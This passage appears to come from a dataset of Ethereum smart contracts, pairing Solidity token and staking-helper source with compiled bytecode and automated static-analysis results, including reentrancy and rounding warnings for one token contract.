memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library MassetHelpers { using SafeERC20 for IERC20; function transferReturnBalance( address _sender, address _recipient, address _bAsset, uint256 _qty ) internal returns (uint256 receivedQty, uint256 recipientBalance) { uint256 balBefore = IERC20(_bAsset).balanceOf(_recipient); IERC20(_bAsset).safeTransferFrom(_sender, _recipient, _qty); recipientBalance = IERC20(_bAsset).balanceOf(_recipient); receivedQty = recipientBalance - balBefore; } function safeInfiniteApprove(address _asset, address _spender) internal { IERC20(_asset).safeApprove(_spender, 0); IERC20(_asset).safeApprove(_spender, 2**256 - 1); } } // SPDX-License-Identifier: AGPL-3.0-or-later /** * @title PlatformTokenVendor * @author mStable * @notice Stores platform tokens for distributing to StakingReward participants * @dev Only deploy this during the constructor of a given StakingReward contract */ contract PlatformTokenVendor { IERC20 public immutable platformToken; address public immutable parentStakingContract; /** @dev Simple constructor that stores the parent address */ constructor(IERC20 _platformToken) { parentStakingContract = msg.sender; platformToken = _platformToken; MassetHelpers.safeInfiniteApprove(address(_platformToken), msg.sender); } /** * @dev Re-approves the StakingReward contract to spend the platform token. * Just incase for some reason approval has been reset. */ function reApproveOwner() external { MassetHelpers.safeInfiniteApprove(address(platformToken), parentStakingContract); } }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c8063488a49e314610046578063d1b812cd14610089578063d8245bb9146100b0575b600080fd5b61006d7f000000000000000000000000efbe22085d9f29863cfb77eed16d3cc0d927b01181565b6040516001600160a01b03909116815260200160405180910390f35b61006d7f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd281565b6100b86100ba565b005b6101047f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd27f000000000000000000000000efbe22085d9f29863cfb77eed16d3cc0d927b011610106565b565b61011b6001600160a01b038316826000610135565b6101316001600160a01b03831682600019610135565b5050565b8015806101be5750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b15801561018457600080fd5b505afa158015610198573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101bc91906104f3565b155b61022e5760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b60648201526084015b60405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b17905261028090849061029e565b505050565b60606102948484600085610370565b90505b9392505050565b60006102f3826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166102859092919063ffffffff16565b805190915015610280578080602001905181019061031191906104d1565b6102805760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610225565b6060824710156103d15760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610225565b843b61041f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610225565b600080866001600160a01b0316858760405161043b919061050c565b60006040518083038185875af1925050503d8060008114610478576040519150601f19603f3d011682016040523d82523d6000602084013e61047d565b606091505b509150915061048d828286610498565b979650505050505050565b606083156104a7575081610297565b8251156104b75782518084602001fd5b8160405162461bcd60e51b81526004016102259190610528565b6000602082840312156104e357600080fd5b8151801515811461029757600080fd5b60006020828403121561050557600080fd5b5051919050565b6000825161051e81846020870161055b565b9190910192915050565b602081526000825180602084015261054781604085016020870161055b565b601f01601f19169190910160400192915050565b60005b8381101561057657818101518382015260200161055e565b83811115610585576000848401525b5050505056fea264697066735822122023deb8c4ab9183985c163a2a8158c184678752d6daa529f1f9aa5fb4f53f963c64736f6c63430008060033
{"success": true, "error": null, "results": {}}
271
0x3080ec2a6960432f179c66d388099a48e82e2047
pragma solidity 0.5.17; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface ERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address, uint) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address, uint) external returns (bool); function transferFrom(address, address, uint) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface POWER { function scaledPower(uint amount) external returns(bool); function totalPopping() external view returns (uint256); } interface OPERATORS { function scaledOperators(uint amount) external returns(bool); function totalPopping() external view returns (uint256); } //======================================POPCORN CONTRACT=========================================// contract PopcornToken is ERC20 { using SafeMath for uint256; //======================================POPCORN EVENTS=========================================// event BurnEvent(address indexed pool, address indexed burnaddress, uint amount); event AddCornEvent(address indexed _from, address indexed pool, uint value); // ERC-20 Parameters string public name; string public symbol; uint public decimals; uint public totalSupply; //======================================POPPING POOLS=========================================// address public pool1; address public pool2; uint256 public power; uint256 public operators; uint256 operatorstotalpopping; uint256 powertotalpopping; // ERC-20 Mappings mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; // Public Parameters uint corns; uint bValue; uint actualValue; uint burnAmount; address administrator; // Public Mappings mapping(address=>bool) public Whitelisted; //=====================================CREATION=========================================// // Constructor constructor() public { name = "Popcorn Token"; symbol = "CORN"; decimals = 18; corns = 1*10**decimals; totalSupply = 2000000*corns; administrator = msg.sender; balanceOf[administrator] = totalSupply; emit Transfer(administrator, address(this), totalSupply); Whitelisted[administrator] = true; } //========================================CONFIGURATIONS=========================================// function machineries(address _power, address _operators) public onlyAdministrator returns (bool success) { pool1 = _power; pool2 = _operators; return true; } modifier onlyAdministrator() { require(msg.sender == administrator, "Ownable: caller is not the owner"); _; } modifier onlyOperators() { require(msg.sender == pool2, "Authorization: Only the operators pool can call on this"); _; } function whitelist(address _address) public onlyAdministrator returns (bool success) { Whitelisted[_address] = true; return true; } function unwhitelist(address _address) public onlyAdministrator returns (bool success) { Whitelisted[_address] = false; return true; } function Burn(uint _amount) public returns (bool success) { require(balanceOf[msg.sender] >= _amount, "You do not have the amount of tokens you wanna burn in your wallet"); balanceOf[msg.sender] -= _amount; totalSupply -= _amount; emit BurnEvent(pool2, address(0x0), _amount); return true; } //========================================ERC20=========================================// // ERC20 Transfer function function transfer(address to, uint value) public returns (bool success) { _transfer(msg.sender, to, value); return true; } // ERC20 Approve function function approve(address spender, uint value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } // ERC20 TransferFrom function function transferFrom(address from, address to, uint value) public returns (bool success) { require(value <= allowance[from][msg.sender], 'Must not send more than allowance'); allowance[from][msg.sender] -= value; _transfer(from, to, value); return true; } function _transfer(address _from, address _to, uint _value) private { require(balanceOf[_from] >= _value, 'Must not send more than balance'); require(balanceOf[_to] + _value >= balanceOf[_to], 'Balance overflow'); balanceOf[_from] -= _value; if(Whitelisted[msg.sender]){ actualValue = _value; }else{ bValue = mulDiv(_value, 10, 100); actualValue = _value.sub(bValue); power = mulDiv(bValue, 50, 100); powertotalpopping = powerTotalPopping(); if(powertotalpopping > 0){ POWER(pool1).scaledPower(power); balanceOf[pool1] += power; emit AddCornEvent(_from, pool1, power); emit Transfer(_from, pool1, power); }else{ totalSupply -= power; emit BurnEvent(_from, address(0x0), power); } operators = mulDiv(bValue, 30, 100); operatorstotalpopping = OperatorsTotalPopping(); if(operatorstotalpopping > 0){ OPERATORS(pool2).scaledOperators(operators); balanceOf[pool2] += operators; emit AddCornEvent(_from, pool2, operators); emit Transfer(_from, pool2, operators); }else{ totalSupply -= operators; emit BurnEvent(_from, address(0x0), operators); } burnAmount = mulDiv(bValue, 20, 100); totalSupply -= burnAmount; emit BurnEvent(_from, address(0x0), burnAmount); } balanceOf[_to] += actualValue; emit Transfer(_from, _to, _value); } function powerTotalPopping() public view returns(uint){ return POWER(pool1).totalPopping(); } function OperatorsTotalPopping() public view returns(uint){ return OPERATORS(pool2).totalPopping(); } function mulDiv (uint x, uint y, uint z) public pure returns (uint) { (uint l, uint h) = fullMul (x, y); assert (h < z); uint mm = mulmod (x, y, z); if (mm > l) h -= 1; l -= mm; uint pow2 = z & -z; z /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint r = 1; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; r *= 2 - z * r; return l * r; } function fullMul (uint x, uint y) private pure returns (uint l, uint h) { uint mm = mulmod (x, y, uint (-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } }
0x608060405234801561001057600080fd5b50600436106101365760003560e01c80639a590427116100b8578063b5783c781161007c578063b5783c7814610379578063b90306ad146103a7578063b941d3e0146103c4578063d40fe3f1146103cc578063dd62ed3e146103d4578063e673df8a1461040257610136565b80639a590427146102b25780639b19251a146102d8578063a9059cbb146102fe578063aa9a09121461032a578063aab7954e1461035357610136565b806323b872dd116100ff57806323b872dd1461023e578063313ce567146102745780634a4d59fa1461027c57806370a082311461028457806395d89b41146102aa57610136565b8062a3c4561461013b57806305ea3ed51461015557806306fdde0314610179578063095ea7b3146101f657806318160ddd14610236575b600080fd5b61014361040a565b60408051918252519081900360200190f35b61015d610480565b604080516001600160a01b039092168252519081900360200190f35b61018161048f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101bb5781810151838201526020016101a3565b50505050905090810190601f1680156101e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102226004803603604081101561020c57600080fd5b506001600160a01b03813516906020013561051d565b604080519115158252519081900360200190f35b610143610583565b6102226004803603606081101561025457600080fd5b506001600160a01b03813581169160208101359091169060400135610589565b61014361062a565b610143610630565b6101436004803603602081101561029a57600080fd5b50356001600160a01b0316610636565b610181610648565b610222600480360360208110156102c857600080fd5b50356001600160a01b03166106a2565b610222600480360360208110156102ee57600080fd5b50356001600160a01b0316610729565b6102226004803603604081101561031457600080fd5b506001600160a01b0381351690602001356107b4565b6101436004803603606081101561034057600080fd5b50803590602081013590604001356107ca565b6102226004803603602081101561036957600080fd5b50356001600160a01b031661087e565b6102226004803603604081101561038f57600080fd5b506001600160a01b0381358116916020013516610893565b610222600480360360208110156103bd57600080fd5b5035610927565b61015d6109cb565b6101436109da565b610143600480360360408110156103ea57600080fd5b506001600160a01b0381358116916020013516610a2a565b610143610a47565b60055460408051633c54f06760e21b815290516000926001600160a01b03169163f153c19c916004808301926020929190829003018186803b15801561044f57600080fd5b505afa158015610463573d6000803e3d6000fd5b505050506040513d602081101561047957600080fd5b5051905090565b6004546001600160a01b031681565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105155780601f106104ea57610100808354040283529160200191610515565b820191906000526020600020905b8154815290600101906020018083116104f857829003601f168201915b505050505081565b336000818152600b602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035481565b6001600160a01b0383166000908152600b602090815260408083203384529091528120548211156105eb5760405162461bcd60e51b81526004018080602001828103825260218152602001806110806021913960400191505060405180910390fd5b6001600160a01b0384166000908152600b60209081526040808320338452909152902080548390039055610620848484610a4d565b5060019392505050565b60025481565b60065481565b600a6020526000908152604090205481565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105155780601f106104ea57610100808354040283529160200191610515565b6010546000906001600160a01b03163314610704576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b506001600160a01b03166000908152601160205260409020805460ff19169055600190565b6010546000906001600160a01b0316331461078b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b506001600160a01b03166000908152601160205260409020805460ff1916600190811790915590565b60006107c1338484610a4d565b50600192915050565b60008060006107d98686610f52565b915091508381106107e657fe5b600084806107f057fe5b868809905082811115610804576001820391505b91829003916000859003851680868161081957fe5b04955080848161082557fe5b04935080816000038161083457fe5b046001019290920292909201600285810380870282030280870282030280870282030280870282030280870282030280870282030295860290039094029390930295945050505050565b60116020526000908152604090205460ff1681565b6010546000906001600160a01b031633146108f5576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b50600480546001600160a01b039384166001600160a01b03199182161790915560058054929093169116179055600190565b336000908152600a60205260408120548211156109755760405162461bcd60e51b81526004018080602001828103825260428152602001806110a16042913960600191505060405180910390fd5b336000908152600a6020908152604080832080548690039055600380548690039055600554815186815291516001600160a01b0390911692600080516020611060833981519152928290030190a3506001919050565b6005546001600160a01b031681565b6000600460009054906101000a90046001600160a01b03166001600160a01b031663f153c19c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561044f57600080fd5b600b60209081526000928352604080842090915290825290205481565b60075481565b6001600160a01b0383166000908152600a6020526040902054811115610aba576040805162461bcd60e51b815260206004820152601f60248201527f4d757374206e6f742073656e64206d6f7265207468616e2062616c616e636500604482015290519081900360640190fd5b6001600160a01b0382166000908152600a60205260409020548181011015610b1c576040805162461bcd60e51b815260206004820152601060248201526f42616c616e6365206f766572666c6f7760801b604482015290519081900360640190fd5b6001600160a01b0383166000908152600a6020908152604080832080548590039055338352601190915290205460ff1615610b5b57600e819055610eef565b610b6881600a60646107ca565b600d819055610b7e90829063ffffffff610f7f16565b600e55600d54610b9190603260646107ca565b600655610b9c6109da565b600981905515610cd757600480546006546040805163050ded4960e41b815293840191909152516001600160a01b03909116916350ded4909160248083019260209291908290030181600087803b158015610bf657600080fd5b505af1158015610c0a573d6000803e3d6000fd5b505050506040513d6020811015610c2057600080fd5b505060068054600480546001600160a01b039081166000908152600a60209081526040918290208054909501909455915493548251908152915193811693908716927f5e116bdc1de332d6954af0b0047bb05fd3e937b1a8ad965dd7b0b97f5a4eed2c928290030190a360045460065460408051918252516001600160a01b03928316928616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a3610d12565b60065460038054829003905560408051918252516000916001600160a01b038616916000805160206110608339815191529181900360200190a35b610d21600d54601e60646107ca565b600755610d2c61040a565b600881905515610e685760055460075460408051639519df5160e01b81526004810192909252516001600160a01b0390921691639519df51916024808201926020929091908290030181600087803b158015610d8757600080fd5b505af1158015610d9b573d6000803e3d6000fd5b505050506040513d6020811015610db157600080fd5b505060078054600580546001600160a01b039081166000908152600a60209081526040918290208054909501909455915493548251908152915193811693908716927f5e116bdc1de332d6954af0b0047bb05fd3e937b1a8ad965dd7b0b97f5a4eed2c928290030190a360055460075460408051918252516001600160a01b03928316928616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a3610ea3565b60075460038054829003905560408051918252516000916001600160a01b038616916000805160206110608339815191529181900360200190a35b610eb2600d54601460646107ca565b600f81905560038054829003905560408051918252516000916001600160a01b038616916000805160206110608339815191529181900360200190a35b600e546001600160a01b038084166000818152600a60209081526040918290208054909501909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000808060001984860990508385029250828103915082811015610f77576001820391505b509250929050565b6000610fc183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc8565b9392505050565b600081848411156110575760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561101c578181015183820152602001611004565b50505050905090810190601f1680156110495780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fee0deda1dd123aa6cdd7f4460830c05edf058ceb3c302f94e81a4fda7cfc423714d757374206e6f742073656e64206d6f7265207468616e20616c6c6f77616e6365596f7520646f206e6f7420686176652074686520616d6f756e74206f6620746f6b656e7320796f752077616e6e61206275726e20696e20796f75722077616c6c6574a265627a7a7231582098dc45b0bba200c97b2558892dcc2fa1f6ec406d40e977d98b7db610f709da2664736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
272
0x212ae2172439358c588170166fde7d57bca9d4a8
/* -------------------------------------------------------------------------------- The Ethereum Secure Token Smart Contract Credit: Ethereum Secure Foundation ERC20: https://github.com/ethereum/EIPs/issues/20 ERC223: https://github.com/ethereum/EIPs/issues/223 MIT Licence -------------------------------------------------------------------------------- */ /* * Contract that is working with ERC20 tokens */ pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract EthereumSecure is PausableToken { string public name = "Ethereum Secure"; string public symbol = "ETHSecure"; uint public decimals = 18; uint public INITIAL_SUPPLY = 21000000000000000000000000; constructor() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b757806323b872dd146101de5780632ff2e9dc14610208578063313ce5671461021d5780633f4ba83a146102325780635c975abb14610249578063661884631461025e57806370a08231146102825780638456cb59146102a35780638da5cb5b146102b857806395d89b41146102e9578063a9059cbb146102fe578063d73dd62314610322578063dd62ed3e14610346578063f2fde38b1461036d575b600080fd5b34801561010157600080fd5b5061010a61038e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a036004351660243561041c565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc610447565b60408051918252519081900360200190f35b3480156101ea57600080fd5b506101a3600160a060020a036004358116906024351660443561044d565b34801561021457600080fd5b506101cc61047a565b34801561022957600080fd5b506101cc610480565b34801561023e57600080fd5b50610247610486565b005b34801561025557600080fd5b506101a36104fe565b34801561